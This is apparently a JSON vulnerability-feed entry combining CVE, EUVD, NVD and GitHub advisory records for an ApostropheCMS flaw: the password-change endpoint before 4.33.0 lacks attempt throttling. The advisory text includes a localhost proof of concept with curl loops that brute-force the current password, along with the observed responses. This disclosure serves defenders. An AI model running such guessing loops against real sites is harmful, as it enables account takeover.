{"id":"CVE-2026-113710","revision":null,"records":[{"revision":"4122007f87a14f1bae9f3bbfc48a3850","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-113710","aliases":[],"title":"ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.","state":0,"publishedAt":"2026-10-20T17:46:09.582+00:00","modifiedAt":"2026-10-21T15:53:11.228+00:00","affected":[{"ecosystem":"Vendor product","name":"apostrophe","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"apostrophecms\",\n                    \"product\": \"apostrophe\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 4.33.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","score":5.9,"severity":"MEDIUM"}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-653j-g8j7-gh54","https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-113710","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-113710","identifiers":["CVE-2026-113710"]},"retained":false,"historicalAffected":[]},{"revision":"26dc04695e714fe28a87ca90c7a0e532","observedAt":"2026-11-07T04:34:47.5+00:00","statement":{"source":"euvd","id":"EUVD-2026-105221","aliases":["CVE-2026-113710","GHSA-653j-g8j7-gh54"],"title":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lock…","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","score":5.9,"severity":null}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-653j-g8j7-gh54","https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-105221","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 20, 2026, 5:46:09 PM","dateUpdated":"Oct 21, 2026, 3:53:11 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-105221","identifiers":["EUVD-2026-105221","CVE-2026-113710","GHSA-653j-g8j7-gh54"]},"retained":false,"historicalAffected":[]},{"revision":"7acc5f5a71664e918ce442e9fe0d0c6b","observedAt":"2026-10-25T05:17:18.597+00:00","statement":{"source":"nvd","id":"CVE-2026-113710","aliases":[],"title":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lock…","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.","state":0,"publishedAt":"2026-10-20T18:17:21.147+00:00","modifiedAt":"2026-10-21T16:17:25.13+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","score":5.9,"severity":"MEDIUM"}],"references":["https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0","https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-653j-g8j7-gh54"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113710","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-307"],"productCriteria":[],"sourceDates":{"published":"2026-10-20T18:17:21.147","lastModified":"2026-10-21T16:17:25.130"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-113710","identifiers":["CVE-2026-113710"]},"retained":false,"historicalAffected":[]},{"revision":"ddc1962ccf4a427fa420b49fb926b72d","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-653j-g8j7-gh54","aliases":["CVE-2026-113710"],"title":"ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing","description":"**Summary**\nThe self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.\n\n**Exact source path**\npackages/apostrophe/modules/@apostrophecms/settings/index.js:621-664\n\n**The password-change route is:**\nPATCH /api/v1/@apostrophecms/settings/password\n\n**The route calls the password verifier directly through:**\nawait self.handleProtectedSubform(req, subform, req.body );\n\n**The password verification path is:**\npackages/apostrophe/modules/@apostrophecms/settings/index.js:514-542\n\n**async handlePasswordProtectedSubform(req, subform, payload) {\n  try {\n    await self.apos.user.verifyPassword(req.user, payload.passwordCurrent);\n  } catch (e) {\n    throw self.apos.error(\n      'forbidden',\n      'apostrophe:passwordCurrentError',\n      { path: 'passwordCurrent' }\n    );\n  }\n  return subform;\n}**\n\n**The verifier itself does not increment the login-attempt cache or enforce a delay:**\npackages/apostrophe/modules/@apostrophecms/user/index.js:412-487\n\n**By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in:**\npackages/apostrophe/modules/@apostrophecms/login/index.js:831-929\n\n**Local PoC**\nThe test used a disposable authenticated guest session against:\n\nRequest:\n\n```\nPATCH /api/v1/@apostrophecms/settings/password HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: <redacted-authenticated-session>\nContent-Type: application/json\n\n{\n  \"password\": \"new-temporary-password\",\n  \"passwordRepeat\": \"new-temporary-password\",\n  \"passwordCurrent\": \"definitely-wrong-current-password\"\n}\n```\n\n**Equivalent command:**\n\n```\nfor i in 1 2 3 4 5; do\n  time curl -i -sS \\\n    -b /path/to/temporary-session-cookie-jar.txt \\\n    -X PATCH \\\n    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \\\n    -H 'Content-Type: application/json' \\\n    --data-raw '{\n      \"password\": \"new-temporary-password\",\n      \"passwordRepeat\": \"new-temporary-password\",\n      \"passwordCurrent\": \"definitely-wrong-current-password\"\n    }'\ndone\n```\n\n**Observed response**\nAll five attempts returned the same immediate validation response:\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n{\n  \"name\": \"forbidden\",\n  \"data\": {\n    \"path\": \"passwordCurrent\"\n  },\n  \"message\": \"apostrophe:passwordCurrentError\"\n}\n\nObserved timings were approximately:\nAttempt 1: 231 ms\nAttempt 2: 232 ms\nAttempt 3: 226 ms\nAttempt 4: 229 ms\nAttempt 5: 226 ms\n\nNo attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.\n\nseq 1 20 | xargs -P 20 -I{} sh -c \\\n  \"curl --max-time 15 -sS \\\n    -o /tmp/password-attempt-{}.body \\\n    -w '%{http_code}\\\\n' \\\n    -b /path/to/temporary-session-cookie-jar.txt \\\n    -X PATCH \\\n    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \\\n    -H 'Content-Type: application/json' \\\n    --data-raw '{\\\"password\\\":\\\"new-temporary-password-{}\\\",\\\"passwordRepeat\\\":\\\"new-temporary-password-{}\\\",\\\"passwordCurrent\\\":\\\"wrong-current-{}\\\"}'\"\n\nResult:\n20 requests -> HTTP 403 Forbidden\n0 requests -> HTTP 429 Too Many Requests\n0 requests -> lockout response\n\nThe valid password continued to authenticate afterward:\nPOST /api/v1/@apostrophecms/login/login HTTP/1.1\nHTTP/1.1 200 OK\n\nImpact\nAn attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism.\nIf the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously.\nSeverity\nMedium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.","state":0,"publishedAt":"2026-10-20T18:17:50+00:00","modifiedAt":"2026-10-20T18:30:04.2605814+00:00","affected":[{"ecosystem":"npm","name":"apostrophe","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.33.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-653j-g8j7-gh54","https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","https://github.com/apostrophecms/apostrophe","https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"],"sourceUrl":"https://github.com/advisories/GHSA-653j-g8j7-gh54","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-653j-g8j7-gh54","identifiers":["GHSA-653j-g8j7-gh54","CVE-2026-113710"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T09:05:07.1353409+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T09:05:07.1353409+00:00","lastSuccessAt":"2026-11-08T09:05:07.314358+00:00","error":null,"lastVerifiedAt":"2026-11-08T09:05:07.3144897+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-e58a079eb6f76d5949b871c295ad9e8f78e928765ff9950581a38d46375b9852","complete":true,"records":421096,"lastAttemptAt":"2026-11-08T09:04:21.5548423+00:00","lastSuccessAt":"2026-11-08T07:59:14.3145447+00:00","error":"HttpRequestException","lastVerifiedAt":"2026-11-08T07:59:14.338564+00:00","snapshotPublishedAt":"2026-11-08T07:27:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ce0df89a405747cda5b7c61ae0b48fb2","complete":true,"records":13633,"lastAttemptAt":"2026-11-08T09:05:09.4085736+00:00","lastSuccessAt":"2026-11-08T05:08:40.263+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:08:40.263+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T09:05:07.1353409+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T09:05:07.1353409+00:00","lastSuccessAt":"2026-11-08T09:05:07.4545479+00:00","error":null,"lastVerifiedAt":"2026-11-08T09:05:07.4545481+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2404c35233cd476289f9792161a850e3","complete":true,"records":13645,"lastAttemptAt":"2026-11-08T09:05:08.6143971+00:00","lastSuccessAt":"2026-11-08T08:59:23.805+00:00","error":null,"lastVerifiedAt":"2026-11-08T08:59:23.805+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T09:05:07.0080286+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-08T09:05:07.0080286+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T09:05:03.7558577+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":"HttpRequestException","lastVerifiedAt":"2026-11-08T08:58:58.22321+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T09:05:07.0409305+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-08T09:05:07.0409305+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-8efbf882841c7fda0cba0c3b55677f4781f461b96ab83577ad2701c4eaf88b1e","complete":true,"records":231293,"lastAttemptAt":"2026-11-08T09:05:06.6586785+00:00","lastSuccessAt":"2026-11-08T08:01:14.837451+00:00","error":null,"lastVerifiedAt":"2026-11-08T09:05:06.6586785+00:00","snapshotPublishedAt":"2026-11-08T07:33:16+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}